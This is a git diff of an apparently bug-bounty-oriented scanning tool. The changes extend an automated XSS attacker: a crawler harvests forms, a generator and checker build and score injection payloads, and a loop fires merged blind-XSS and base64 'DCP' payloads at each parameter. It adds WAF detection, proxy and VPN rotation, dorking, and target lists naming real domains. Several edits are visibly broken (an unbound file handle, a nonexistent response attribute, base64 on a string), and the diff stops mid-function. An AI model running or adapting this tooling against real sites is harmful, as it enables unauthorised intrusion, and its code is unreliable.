@@ -597,7 +665,9 @@ def recursive_crawl(target):
         retire_js(url, response, config, proxies)
 
         if not config["skip_dom"]:
+            # Extract the highlighted DOM objects from the response
             highlighted = dom(response)
+            # Clean up the highlighted DOM objects by removing line numbers
             clean_highlighted = "".join(
                 [re.sub(r"^\d+\s+", "", line) for line in highlighted]
             )
@@ -621,9 +691,13 @@ def recursive_crawl(target):
                             file.write(line + "\n")
                         file.write("\n")
 
-        forms.append(zetanize(response))
+        forms.append(html_forms_extractor(response))
 
         matches = re.findall(r'<[aA].*href=["\']{0,1}(.*?)["\']', response)
+        # Regex: <[aA].*href=["\']{0,1}(.*?)["\']
+        # Description: Matches HTML anchor tags with href attribute and captures the URL inside the attribute.
+        # Matches: <a href="http://example.com">, <A HREF='https://example.com'>
+        # Does not match: <a class="link">, <a href="#section">
         for link in matches:
             # iterate over the matches
             # remove everything after a "#" to deal with in-page anchors
@@ -877,6 +951,7 @@ def checker(config, proxy, url, params, GET, payload, positions, encoding):
     headers = {
         "User-Agent": random.choice(USER_AGENTS),
         "X-HackerOne-Research": "elniak",
+        "Referer": "127.0.0.1",
         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
         "Accept-Language": "en-US,en;q=0.5",
         "Accept-Encoding": "gzip,deflate",
@@ -885,11 +960,17 @@ def checker(config, proxy, url, params, GET, payload, positions, encoding):
         "DNT": "1",
         "Upgrade-Insecure-Requests": "1",
     }
+    payload_inter = replace_value(params, xsschecker, checkString, copy.deepcopy)
+    cprint(
+        f"Checking efficiency of payload {payload_inter} with proxy {proxies} towards {url} ...",
+        "yellow",
+        file=sys.stderr,
+    )
     response = start_request(
         proxies=proxies,
         config=config,
         base_url=url,
-        params=replace_value(params, xsschecker, checkString, copy.deepcopy),
+        params=payload_inter,
         headers=headers,
         GET=GET,
     )
@@ -906,7 +987,7 @@ def checker(config, proxy, url, params, GET, payload, positions, encoding):
             reflectedPositions.append(match.start())
     except Exception as e:
         cprint(
-            "An error occurred while processing the st4r7s, response - {e}",
+            f"An error occurred while processing the st4r7s, response - {e} for url {url} with payload {payload_inter} ...",
             color="red",
             file=sys.stderr,
         )
@@ -1139,6 +1220,9 @@ def generator(occurences, response):
     Finally, the function returns the 'vectors' dictionary containing the generated XSS payloads.
     """
     scripts = js_extractor(response)
+    cprint(
+        f"Extracted {len(scripts)} JavaScript code snippets from the response ...",
+    )
     index = 0
     vectors = {
         11: set(),
@@ -1153,8 +1237,14 @@ def generator(occurences, response):
         2: set(),
         1: set(),
     }
+    cprint(
+        f"Generating XSS payloads for {len(occurences)} occurrences in the response ...",
+    )
     for i in occurences:
         context = occurences[i]["context"]
+        cprint(
+            f"Processing occurrence {index + 1} of type {context} ...",
+        )
         if context == "html":
             lessBracketEfficiency = occurences[i]["score"]["<"]
             greatBracketEfficiency = occurences[i]["score"][">"]
@@ -1379,7 +1469,17 @@ def generator(occurences, response):
 
 
 def attacker_crawler(
-    scheme, host, main_url, form, blindPayloads, encoding, config, proxy
+    scheme,
+    host,
+    main_url,
+    form,
+    blindPayloads,
+    dcpPayloads,
+    httpPayloads,
+    domPayloads,
+    encoding,
+    config,
+    proxy,
 ):
     """Attacks a web application by crawling and testing XSS vulnerabilities.
 
@@ -1394,7 +1494,7 @@ def attacker_crawler(
         proxy (str): The proxy server to use for the attack.
     """
     if form:
-        cprint(f"Attacking forms: {form}", "green", file=sys.stderr)
+        cprint(f"Attacking forms: {form} for host {host}", "green", file=sys.stderr)
         for each in form.values():
             url = each["action"]
             if url:
@@ -1406,20 +1506,24 @@ def attacker_crawler(
                     url = scheme + "://" + host + url
                 elif re.match(r"\w", url[0]):
                     url = scheme + "://" + host + "/" + url
+
+                valid_url = validators.url(url)
+                if not valid_url:
+                    cprint(
+                        f"Invalid URL: {url} for host {host}", "red", file=sys.stderr
+                    )
+                    continue
+
                 if url not in checkedForms:
                     checkedForms[url] = []
                 method = each["method"]
-                GET = True if method == "get" else False
+                is_get_request = True if method == "get" else False
                 inputs = each["inputs"]
                 paramData = {}
                 for one in inputs:
                     paramData[one["name"]] = one["value"]
                     for paramName in paramData.keys():
                         if paramName not in checkedForms[url]:
-                            checkedForms[url].append(paramName)
-                            paramsCopy = copy.deepcopy(paramData)
-                            paramsCopy[paramName] = xsschecker
-
                             is_waffed = waf_detector(proxy, url, config)
                             if is_waffed:
                                 cprint(
@@ -1437,6 +1541,7 @@ def attacker_crawler(
                             headers = {
                                 "User-Agent": random.choice(USER_AGENTS),
                                 "X-HackerOne-Research": "elniak",
+                                "Referer": "127.0.0.1",
                                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
                                 "Accept-Language": "en-US,en;q=0.5",
                                 "Accept-Encoding": "gzip,deflate",
@@ -1447,8 +1552,12 @@ def attacker_crawler(
                             }
                             # TODO add session
                             proxies = prepare_proxies(proxy, config)
+                            checkedForms[url].append(paramName)
+                            paramsCopy = copy.deepcopy(paramData)
+                            paramsCopy[paramName] = xsschecker
+
                             cprint(
-                                f"Testing attack for {'GET' if GET else 'POST'} - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...",
+                                f"Testing attack for {'GET' if is_get_request else 'POST'} - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...",
                                 "yellow",
                                 file=sys.stderr,
                             )
@@ -1460,7 +1569,7 @@ def attacker_crawler(
                                 base_url=url,
                                 params=paramsCopy,
                                 headers=headers,
-                                GET=GET,
+                                GET=is_get_request,
                             )
 
                             occurences = html_xss_parser(response, encoding)
@@ -1487,7 +1596,7 @@ def attacker_crawler(
                                 proxy,
                                 url,
                                 paramsCopy,
-                                GET,
+                                is_get_request,
                                 occurences,
                                 encoding,
                             )
@@ -1500,6 +1609,21 @@ def attacker_crawler(
                             cprint("Generating payloads:", "green", file=sys.stderr)
 
                             vectors = generator(occurences, response.text)
+                            total = 0
+                            for v in vectors.values():
+                                total += len(v)
+                            if total == 0:
+                                cprint(
+                                    f"No vector generated for {url}",
+                                    "red",
+                                    file=sys.stderr,
+                                )
+                                continue
+                            cprint(
+                                f"Generating payloads: {total} for {url}",
+                                "green",
+                                file=sys.stderr,
+                            )
                             with lock_processed:
                                 write_xss_vectors(
                                     vectors,
@@ -1508,40 +1632,131 @@ def attacker_crawler(
                                     ),
                                 )
                             if vectors:
+                                progress = 0
                                 for confidence, vects in vectors.items():
-                                    try:
-                                        payload = list(vects)[0]
+                                    for vect in vects:
+                                        vect = vect.replace("/", "%2F")
+                                    progress += 1
+                                    loggerVector = vect
+                                    cprint(
+                                        f"Progress {progress}/{total} for url {url}",
+                                        "green",
+                                        file=sys.stderr,
+                                    )
+                                    if not is_get_request:
+                                        vect = unquote(vect)
+                                    efficiencies = checker(
+                                        config,
+                                        proxy,
+                                        url,
+                                        paramsCopy,
+                                        is_get_request,
+                                        vect,
+                                        positions,
+                                        encoding,
+                                    )
+
+                                    if not efficiencies:
+                                        for i in range(len(occurences)):
+                                            efficiencies.append(0)
+                                    bestEfficiency = max(efficiencies)
+                                    if bestEfficiency == 100 or (
+                                        vect[0] == "\\" and bestEfficiency >= 95
+                                    ):
                                         cprint(
-                                            "[Potential Vulnerable Webpage] - %s%s%s"
-                                            % (green, url, end),
-                                            color="green",
+                                            "Payload: %s" % loggerVector,
+                                            "red",
                                             file=sys.stderr,
                                         )
                                         cprint(
-                                            "\tVector for %s%s%s: %s"
-                                            % (green, paramName, end, payload),
-                                            color="green",
+                                            "Efficiency: %i" % bestEfficiency,
+                                            "yellow",
                                             file=sys.stderr,
                                         )
                                         cprint(
-                                            "\tConfidence: %s%s%s"
-                                            % (green, confidence, end),
-                                            color="green",
+                                            "Confidence: %i" % confidence,
+                                            "yellow",
                                             file=sys.stderr,
                                         )
-                                        # Only test most confident payloads ?
-                                        # TODO perform the attacks
-                                        break
-                                    except IndexError:
-                                        pass
+                                    elif bestEfficiency > minEfficiency:
+                                        cprint(
+                                            "Payload: %s" % loggerVector,
+                                            "red",
+                                            file=sys.stderr,
+                                        )
+                                        cprint(
+                                            "Efficiency: %i" % bestEfficiency,
+                                            "yellow",
+                                            file=sys.stderr,
+                                        )
+                                        cprint(
+                                            "Confidence: %i" % confidence,
+                                            "yellow",
+                                            file=sys.stderr,
+                                        )
+                                    # try:
+                                    #     payload = list(vects)[0]
+                                    #     cprint(
+                                    #         "[Potential Vulnerable Webpage] - %s%s%s"
+                                    #         % (green, url, end),
+                                    #         color="green",
+                                    #         file=sys.stderr,
+                                    #     )
+                                    #     cprint(
+                                    #         "\tVector for %s%s%s: %s"
+                                    #         % (green, paramName, end, payload),
+                                    #         color="green",
+                                    #         file=sys.stderr,
+                                    #     )
+                                    #     cprint(
+                                    #         "\tConfidence: %s%s%s"
+                                    #         % (green, confidence, end),
+                                    #         color="green",
+                                    #         file=sys.stderr,
+                                    #     )
+                                    #     # Only test most confident payloads ?
+                                    #     # TODO perform the attacks
+                                    #     break
+                                    # except IndexError:
+                                    #     pass
                             if config["blind_xss"] and blindPayloads:
+                                # TODO add more from xsser
+                                # TODO
+                                blindPayloads = (
+                                    blindPayloads
+                                    + dcpPayloads
+                                    + httpPayloads
+                                    + domPayloads
+                                )
                                 for blindPayload in blindPayloads:
+                                    blindPayload = blindPayload.strip()
                                     paramsCopy[paramName] = blindPayload
+                                    if (
+                                        "PAYLOAD" in blindPayload
+                                        or "VECTOR" in blindPayload
+                                    ):
+                                        blindPayload = blindPayload.replace(
+                                            "PAYLOAD", "ElNiak"
+                                        )
+                                        blindPayload = blindPayload.replace(
+                                            "VECTOR", "ElNiak"
+                                        )
+
+                                    blindPayload = str(blindPayload)
+
+                                    if "[B64]" in blindPayload:  # [DCP Injection]
+                                        dcp_payload = blindPayload.split("[B64]")[1]
+                                        dcp_preload = blindPayload.split("[B64]")[0]
+                                        dcp_payload = base64.b64encode(dcp_payload)
+                                        blindPayload = dcp_preload + dcp_payload
+
                                     cprint(
-                                        f"Testing blind XSS attack for {'GET' if GET else 'POST'} with blind payload - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...",
+                                        f"Testing blind XSS attack for {'GET' if is_get_request else 'POST'} with blind payload - Session (n° 0): {url} \n\t - parameters {paramsCopy} \n\t - headers {headers} \n\t - xss - with proxy {proxies} ...",
                                         "yellow",
                                         file=sys.stderr,
                                     )
+                                    if " " in url:  # parse blank spaces
+                                        url = url.replace(" ", "+")
                                     proxies = prepare_proxies(proxy, config)
                                     response = start_request(
                                         proxies=proxies,
@@ -1549,18 +1764,48 @@ def attacker_crawler(
                                         base_url=url,
                                         params=paramsCopy,
                                         headers=headers,
-                                        GET=GET,
+                                        GET=is_get_request,
                                     )
+                                    # TODO use selenium and take screenshot
                                     if response:
-                                        cprint(
-                                            "Response blind XSS: %s" % response.text,
-                                            "green",
-                                            file=sys.stderr,
-                                        )
+                                        if response.status_code in [200, 302, 301, 401]:
+                                            cprint(
+                                                f"[AIMED] Response blind XSS for url: {url} with payload: {blindPayload} and params {paramsCopy} - {response}",
+                                                "yellow",
+                                                file=sys.stderr,
+                                            )
+                                            if response.status_code == 301:
+                                                new_url = response.header["Location"]
+                                                cprint(
+                                                    f"[REDIRECT] Redirecting to {new_url} (TODO)",
+                                                    "yellow",
+                                                    file=sys.stderr,
+                                                )
+                                            if response.status_code == 302:
+                                                new_url = url + "/"
+                                                cprint(
+                                                    f"[REDIRECT] Redirecting to {new_url} (TODO)",
+                                                    "yellow",
+                                                    file=sys.stderr,
+                                                )
+
+                                            if "ElNiak" in response.text:
+                                                cprint(
+                                                    f"[SUCCESS] Response blind XSS for url {url} with payload {blindPayload} and params {paramsCopy} - {response}",
+                                                    "green",
+                                                    file=sys.stderr,
+                                                )
+                                        else:
+                                            cprint(
+                                                f"[FAIL] Response blind XSS for url {url} with payload {blindPayload} and params {paramsCopy} - {response}",
+                                                "red",
+                                                file=sys.stderr,
+                                            )
+
                                     else:
                                         cprint(
-                                            "Response blind XSS: %s" % response,
-                                            "green",
+                                            f"[FAIL] Response blind XSS for url {url} with payload {blindPayload} and params {paramsCopy} - {response}",
+                                            "red",
                                             file=sys.stderr,
                                         )
 
diff --git a/bounty_drive/bounty_drive.py b/bounty_drive/bounty_drive.py
index 18f1908..4a6b61b 100755
--- a/bounty_drive/bounty_drive.py
+++ b/bounty_drive/bounty_drive.py
@@ -1,4 +1,5 @@
 # /usr/bin/python3
+import logging
 import sys
 
 # TO get stacktrace in case of segfault
@@ -45,15 +46,28 @@
 
 
 import configparser
+import json
 
 os.system("clear")
-csv.field_size_limit(100000000)
 
 #########################################################################################
 # Main function
 #########################################################################################
 
 
+def setup_environment(config):
+    """Set up the environment, proxies, and VPN."""
+    try:
+        logging.info("Performing search engine and GitHub dorking attacks.")
+        if config["use_proxy"]:
+            setup_proxies(config=config)
+        if config["use_vpn"]:
+            setup_vpn(config=config)
+    except Exception as e:
+        logging.error(f"Failed to set up environment: {e}")
+        sys.exit(1)
+
+
 def read_config(file_path):
     """
     Reads the configuration file and returns the settings as a dictionary.
@@ -161,16 +175,12 @@ def get_user_input(config_file="configs/config.ini"):
     setup_experiment_folder(config, categories)
 
     cprint(
-        f"-Extension: {config['extension']}\n-Total Output: {config['total_output']}\n-Page No: {config['page_no']}\n-Do Google Dorking: {config['do_dorking_google']}\n-Do Github Dorking {config['do_dorking_github']}\n-Do XSS: {config['do_xss']}\n-Do SQLi: {config['do_sqli']},\n -Domain: {config['subdomain']}\n-Use Proxy: {config['use_proxy']}",
+        f"-Extension: {config['extension']}\n-Total Output: {config['total_output']}\n-Page No: {config['page_no']}\n-Do Google Dorking: {config['do_dorking_google']}\n-Do Github Dorking {config['do_dorking_github']}\n-Do XSS: {config['do_xss']}\n-Do SQLi: {config['do_sqli']}\n-Domain: {config['subdomain']}\n-Use Proxy: {config['use_proxy']}",
         "blue",
         file=sys.stderr,
     )
 
-    if config["use_proxy"]:
-        setup_proxies(config)
-
-    if config["use_vpn"]:
-        setup_vpn(config)
+    setup_environment(config)
 
     last_dork_id, last_link_id, last_attack_id = get_last_processed_ids(config)
 
@@ -194,7 +204,7 @@ def get_user_input(config_file="configs/config.ini"):
         config["total_output"] = current_total_output
         search_tasks_with_proxy = []
 
-        number_of_worker = 30  # min(len(proxies)*2, 30)
+        number_of_worker = max(len(proxies) * 2, 30)
         cprint(f"Number of workers: {number_of_worker}", "blue", file=sys.stderr)
 
         with open(config["target_file"], "r") as file:
@@ -203,12 +213,11 @@ def get_user_input(config_file="configs/config.ini"):
                 for domain in subdomain_list:
                     processed = False
                     for category in categories:
-                        with open(config["dorking_csv"], mode="r", newline="") as file:
-                            reader = csv.DictReader(file)
+                        with open(config["dorking_json"], mode="r", newline="") as file:
+                            reader = json.load(file)
                             for row in reader:
                                 if domain in row["dork"]:
                                     processed = True
-
                         if not processed:
                             proxy = next(proxy_cycle)
                             search_tasks_with_proxy.append(
@@ -274,20 +283,20 @@ def setup_experiment_folder(config, categories):
     if not os.path.exists(folder_name):
         cprint(f"Creating folder {folder_name}", "blue", file=sys.stderr)
         os.makedirs(folder_name)
-    setup_csv(config, categories, folder_name)
+    setup_json(config, categories, folder_name)
 
 
-def setup_csv(config, categories, folder_name):
-    """Set up the CSV file for storing experiment results.
+def setup_json(config, categories, folder_name):
+    """Set up the JSON file for storing experiment results.
 
-    This function creates the necessary CSV file and writes the headers based on the provided configuration.
+    This function creates the necessary JSON file and writes the headers based on the provided configuration.
 
     Args:
         config (dict): A dictionary containing the configuration settings.
-        categories (list): A list of categories to be included in the CSV headers.
+        categories (list): A list of categories to be included in the JSON headers.
 
     """
-    csv_headers = [
+    json_headers = [
         "dork_id",
         "link_id",
         "attack_id",
@@ -297,13 +306,13 @@ def setup_csv(config, categories, folder_name):
         "success",
         "payload",
     ]
-    config["dorking_csv"] = os.path.join(
-        folder_name, folder_name.split("/")[-1] + "_dorking.csv"
+    config["dorking_json"] = os.path.join(
+        folder_name, folder_name.split("/")[-1] + "_dorking.json"
     )
     if config["do_dorking_github"]:
-        csv_headers.append("github_success")
+        json_headers.append("github_success")
     if config["do_sqli"]:
-        sqli_csv_headers = [
+        sqli_json_headers = [
             "dork_id",
             "link_id",
             "attack_id",
@@ -312,17 +321,16 @@ def setup_csv(config, categories, folder_name):
             "success",
             "payload",
         ]
-        sqli_csv = os.path.join(folder_name, folder_name.split("/")[-1] + "_sqli.csv")
-        config["sqli_csv"] = sqli_csv
-        if not os.path.exists(sqli_csv) or os.path.getsize(sqli_csv) == 0:
-            with open(sqli_csv, mode="a", newline="") as file:
-                writer = csv.writer(file)
-                writer.writerow(sqli_csv_headers)
-
-        csv_headers.append("sqli_success")
+        sqli_json = os.path.join(folder_name, folder_name.split("/")[-1] + "_sqli.json")
+        config["sqli_json"] = sqli_json
+        if not os.path.exists(sqli_json) or os.path.getsize(sqli_json) == 0:
+            with open(sqli_json, mode="a") as file:
+                json.dump([], file)
+
+        json_headers.append("sqli_success")
         categories.append("sqli")
     if config["do_xss"]:
-        xss_csv_headers = [
+        xss_json_headers = [
             "dork_id",
             "link_id",
             "attack_id",
@@ -336,39 +344,38 @@ def setup_csv(config, categories, folder_name):
             "is_unknown",
             "already_attacked",
         ]
-        xss_csv = os.path.join(folder_name, folder_name.split("/")[-1] + "_xss.csv")
-        config["xss_csv"] = xss_csv
-        if not os.path.exists(xss_csv) or os.path.getsize(xss_csv) == 0:
-            with open(xss_csv, mode="a", newline="") as file:
-                writer = csv.writer(file)
-                writer.writerow(xss_csv_headers)
-
-        csv_headers.append("xss_success")
+        xss_json = os.path.join(folder_name, folder_name.split("/")[-1] + "_xss.json")
+        config["xss_json"] = xss_json
+        if not os.path.exists(xss_json) or os.path.getsize(xss_json) == 0:
+            with open(xss_json, mode="a") as file:
+                json.dump([], file)
+
+        json_headers.append("xss_success")
         categories.append("xss")
     if config["do_crawl"]:
-        crawl_csv_headers = [
+        crawl_json_headers = [
             "crawl_id",
             "seedUrl",
             "success",
             "doms",
             "forms",
         ]
-        crawl_csv = os.path.join(folder_name, folder_name.split("/")[-1] + "_crawl.csv")
-        config["crawl_csv"] = crawl_csv
-        if not os.path.exists(crawl_csv) or os.path.getsize(crawl_csv) == 0:
-            with open(crawl_csv, mode="a", newline="") as file:
-                writer = csv.writer(file)
-                writer.writerow(crawl_csv_headers)
-
-        csv_headers.append("crawl_success")
+        crawl_json = os.path.join(
+            folder_name, folder_name.split("/")[-1] + "_crawl.json"
+        )
+        config["crawl_json"] = crawl_json
+        if not os.path.exists(crawl_json) or os.path.getsize(crawl_json) == 0:
+            with open(crawl_json, mode="a") as file:
+                json.dump([], file)
+
+        json_headers.append("crawl_success")
         categories.append("crawl")
     if (
-        not os.path.exists(config["dorking_csv"])
-        or os.path.getsize(config["dorking_csv"]) == 0
+        not os.path.exists(config["dorking_json"])
+        or os.path.getsize(config["dorking_json"]) == 0
     ):
-        with open(config["dorking_csv"], mode="a", newline="") as file:
-            writer = csv.writer(file)
-            writer.writerow(csv_headers)
+        with open(config["dorking_json"], mode="a") as file:
+            json.dump([], file)
 
 
 if __name__ == "__main__":
diff --git a/bounty_drive/bypasser/waf_mitigation.py b/bounty_drive/bypasser/waf_mitigation.py
index cfda71b..1330195 100644
--- a/bounty_drive/bypasser/waf_mitigation.py
+++ b/bounty_drive/bypasser/waf_mitigation.py
@@ -52,6 +52,7 @@ def waf_detector(proxies, url, config, mode="xss"):
     }
     proxies = prepare_proxies(proxies, config)
     # Opens the noise injected payload
+    cprint(f"Waf Detector: Sending request to {url}", "blue", file=sys.stderr)
     response = start_request(
         proxies=proxies,
         base_url=url,
diff --git a/bounty_drive/configs/config.ini b/bounty_drive/configs/config.ini
index 645c591..e58ab7c 100644
--- a/bounty_drive/configs/config.ini
+++ b/bounty_drive/configs/config.ini
@@ -2,8 +2,8 @@
 extension = 
 subdomain = true
 do_web_scap = true
-target_file = configs/target_att.txt
-exclusion_file = configs/exclusion_pornbox.txt
+target_file = configs/targets/target_paypal.txt
+exclusion_file = configs/targets/exclusion_pornbox.txt
 target_login = []
 logging=DEBUG
 max_thread = 30
diff --git a/bounty_drive/configs/scopes_for_att_at_2024-06-20_15_33_10_UTC.csv b/bounty_drive/configs/targets/scopes_for_att_at_2024-06-20_15_33_10_UTC.csv
similarity index 100%
rename from bounty_drive/configs/scopes_for_att_at_2024-06-20_15_33_10_UTC.csv
rename to bounty_drive/configs/targets/scopes_for_att_at_2024-06-20_15_33_10_UTC.csv
diff --git a/bounty_drive/configs/scopes_for_dib-vdp_at_2024-06-20_14_48_10_UTC.csv b/bounty_drive/configs/targets/scopes_for_dib-vdp_at_2024-06-20_14_48_10_UTC.csv
similarity index 100%
rename from bounty_drive/configs/scopes_for_dib-vdp_at_2024-06-20_14_48_10_UTC.csv
rename to bounty_drive/configs/targets/scopes_for_dib-vdp_at_2024-06-20_14_48_10_UTC.csv
diff --git a/bounty_drive/configs/scopes_for_pornbox_at_2024-06-20_14_52_16_UTC.csv b/bounty_drive/configs/targets/scopes_for_pornbox_at_2024-06-20_14_52_16_UTC.csv
similarity index 100%
rename from bounty_drive/configs/scopes_for_pornbox_at_2024-06-20_14_52_16_UTC.csv
rename to bounty_drive/configs/targets/scopes_for_pornbox_at_2024-06-20_14_52_16_UTC.csv
diff --git a/bounty_drive/configs/scopes_for_toolsforhumanity_at_2024-06-20_14_56_54_UTC.csv b/bounty_drive/configs/targets/scopes_for_toolsforhumanity_at_2024-06-20_14_56_54_UTC.csv
similarity index 100%
rename from bounty_drive/configs/scopes_for_toolsforhumanity_at_2024-06-20_14_56_54_UTC.csv
rename to bounty_drive/configs/targets/scopes_for_toolsforhumanity_at_2024-06-20_14_56_54_UTC.csv
diff --git a/bounty_drive/configs/target_att.txt b/bounty_drive/configs/targets/target_att.txt
similarity index 100%
rename from bounty_drive/configs/target_att.txt
rename to bounty_drive/configs/targets/target_att.txt
diff --git a/bounty_drive/configs/target_dc3.txt b/bounty_drive/configs/targets/target_dc3.txt
similarity index 100%
rename from bounty_drive/configs/target_dc3.txt
rename to bounty_drive/configs/targets/target_dc3.txt
diff --git a/bounty_drive/configs/targets/target_deriv.txt b/bounty_drive/configs/targets/target_deriv.txt
new file mode 100644
index 0000000..3c0f472
--- /dev/null
+++ b/bounty_drive/configs/targets/target_deriv.txt
@@ -0,0 +1,11 @@
+secure-dfadmin.deriv.com
+cashier.deriv.com
+*.deriv.cloud
+*.derivws.com
+smarttrader.deriv.com
+api.deriv.com
+*.deriv.com
+derivws.com
+app.deriv.com
+oauth.deriv.com
+*.binary.com
\ No newline at end of file
diff --git a/bounty_drive/configs/target_dynatrace.txt b/bounty_drive/configs/targets/target_dynatrace.txt
similarity index 100%
rename from bounty_drive/configs/target_dynatrace.txt
rename to bounty_drive/configs/targets/target_dynatrace.txt
diff --git a/bounty_drive/configs/target_earlywarnings.txt b/bounty_drive/configs/targets/target_earlywarnings.txt
similarity index 100%
rename from bounty_drive/configs/target_earlywarnings.txt
rename to bounty_drive/configs/targets/target_earlywarnings.txt
diff --git a/bounty_drive/configs/target_fireblock.txt b/bounty_drive/configs/targets/target_fireblock.txt
similarity index 100%
rename from bounty_drive/configs/target_fireblock.txt
rename to bounty_drive/configs/targets/target_fireblock.txt
diff --git a/bounty_drive/configs/target_indrive.txt b/bounty_drive/configs/targets/target_indrive.txt
similarity index 100%
rename from bounty_drive/configs/target_indrive.txt
rename to bounty_drive/configs/targets/target_indrive.txt
diff --git a/bounty_drive/configs/targets/target_kolesagroup.txt b/bounty_drive/configs/targets/target_kolesagroup.txt
new file mode 100644
index 0000000..49902ad
--- /dev/null
+++ b/bounty_drive/configs/targets/target_kolesagroup.txt
@@ -0,0 +1,13 @@
+id.avtoelon.uz
+api.krisha.kz
+m.kolesa.kz
+app.avtoelon.uz
+kolesa.kz
+app.kolesa.kz
+api.kolesa.kz
+api.avtoelon.uz
+app.krisha.kz
+m.avtoelon.uz
+avtoelon.uz
+id.kolesa.kz
+krisha.kz
diff --git a/bounty_drive/configs/target_mozzila.txt b/bounty_drive/configs/targets/target_mozzila.txt
similarity index 100%
rename from bounty_drive/configs/target_mozzila.txt
rename to bounty_drive/configs/targets/target_mozzila.txt
diff --git a/bounty_drive/configs/target_netflix.txt b/bounty_drive/configs/targets/target_netflix.txt
similarity index 100%
rename from bounty_drive/configs/target_netflix.txt
rename to bounty_drive/configs/targets/target_netflix.txt
diff --git a/bounty_drive/configs/target_paypal.txt b/bounty_drive/configs/targets/target_paypal.txt
similarity index 100%
rename from bounty_drive/configs/target_paypal.txt
rename to bounty_drive/configs/targets/target_paypal.txt
diff --git a/bounty_drive/configs/target_pornbox.txt b/bounty_drive/configs/targets/target_pornbox.txt
similarity index 100%
rename from bounty_drive/configs/target_pornbox.txt
rename to bounty_drive/configs/targets/target_pornbox.txt
diff --git a/bounty_drive/configs/target_reddit.txt b/bounty_drive/configs/targets/target_reddit.txt
similarity index 100%
rename from bounty_drive/configs/target_reddit.txt
rename to bounty_drive/configs/targets/target_reddit.txt
diff --git a/bounty_drive/configs/target_rei.txt b/bounty_drive/configs/targets/target_rei.txt
similarity index 100%
rename from bounty_drive/configs/target_rei.txt
rename to bounty_drive/configs/targets/target_rei.txt
diff --git a/bounty_drive/configs/target_remitly.txt b/bounty_drive/configs/targets/target_remitly.txt
similarity index 100%
rename from bounty_drive/configs/target_remitly.txt
rename to bounty_drive/configs/targets/target_remitly.txt
diff --git a/bounty_drive/configs/target_ring.txt b/bounty_drive/configs/targets/target_ring.txt
similarity index 100%
rename from bounty_drive/configs/target_ring.txt
rename to bounty_drive/configs/targets/target_ring.txt
diff --git a/bounty_drive/configs/target_rustica.txt b/bounty_drive/configs/targets/target_rustica.txt
similarity index 100%
rename from bounty_drive/configs/target_rustica.txt
rename to bounty_drive/configs/targets/target_rustica.txt
diff --git a/bounty_drive/configs/target_toolsforhumanity.txt b/bounty_drive/configs/targets/target_toolsforhumanity.txt
similarity index 100%
rename from bounty_drive/configs/target_toolsforhumanity.txt
rename to bounty_drive/configs/targets/target_toolsforhumanity.txt
diff --git a/bounty_drive/configs/target_yahoo.txt b/bounty_drive/configs/targets/target_yahoo.txt
similarity index 100%
rename from bounty_drive/configs/target_yahoo.txt
rename to bounty_drive/configs/targets/target_yahoo.txt
diff --git a/bounty_drive/reporting/results_manager.py b/bounty_drive/reporting/results_manager.py
index b72462f..700e514 100644
--- a/bounty_drive/reporting/results_manager.py
+++ b/bounty_drive/reporting/results_manager.py
@@ -1,11 +1,8 @@
-import csv
 import json
 import os
 import re
 import sys
-
 from termcolor import cprint
-
 import threading
 
 google_dorking_results = []
@@ -29,24 +26,26 @@
 
 def write_xss_vectors(vectors, filename):
     with LOCKS["xss"]:
-        with open(filename, "w") as f:
-            for vs in vectors.values():
-                for v in vs:
-                    f.write("{}\n".format(v))
+        if os.path.exists(filename):
+            with open(filename, "r+") as f:
+                json.dump(vectors, f)
+        else:
+            with open(filename, "w"):
+                json.dump(vectors, f)
         cprint("Written payloads to file", "green", file=sys.stderr)
 
 
 def get_processed_dorks(settings):
     """
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
     processed_dorks = set()
 
-    if os.path.exists(settings["dorking_csv"]):
-        with open(settings["dorking_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                processed_dorks.add(row["dork"])
+    if os.path.exists(settings.get("dorking_json", "")):
+        with open(settings["dorking_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                processed_dorks.add(row.get("dork", ""))
 
     return processed_dorks
 
@@ -54,15 +53,15 @@ def get_processed_dorks(settings):
 def get_processed_crawled(settings):
     """
     TODO: Implement this function
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
     processed_dorks = set()
 
-    if os.path.exists(settings["crawl_csv"]):
-        with open(settings["crawl_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                processed_dorks.add(row["seedUrl"])
+    if os.path.exists(settings.get("crawl_json", "")):
+        with open(settings["crawl_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                processed_dorks.add(row.get("seedUrl", ""))
 
     return processed_dorks
 
@@ -70,192 +69,185 @@ def get_processed_crawled(settings):
 def get_processed_crawled_form_dom(settings):
     """
     TODO: Implement this function
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
     processed_dorks = set()
-    if os.path.exists(settings["crawl_csv"]):
-        with open(settings["crawl_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                processed_dorks.add((row["seedUrl"]))
+    if os.path.exists(settings.get("crawl_json", "")):
+        with open(settings["crawl_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                processed_dorks.add(row.get("seedUrl", ""))
 
     return processed_dorks
 
 
 def get_processed_xss(settings):
     """
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
     processed_dorks = set()
 
-    if os.path.exists(settings["xss_csv"]):
-        with open(settings["xss_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                processed_dorks.add((row["url"], row["payload"]))
+    if os.path.exists(settings.get("xss_json", "")):
+        with open(settings["xss_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                processed_dorks.add((row.get("url", ""), row.get("payload", "")))
 
     return processed_dorks
 
 
 def get_attacked_xss(settings):
     """
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
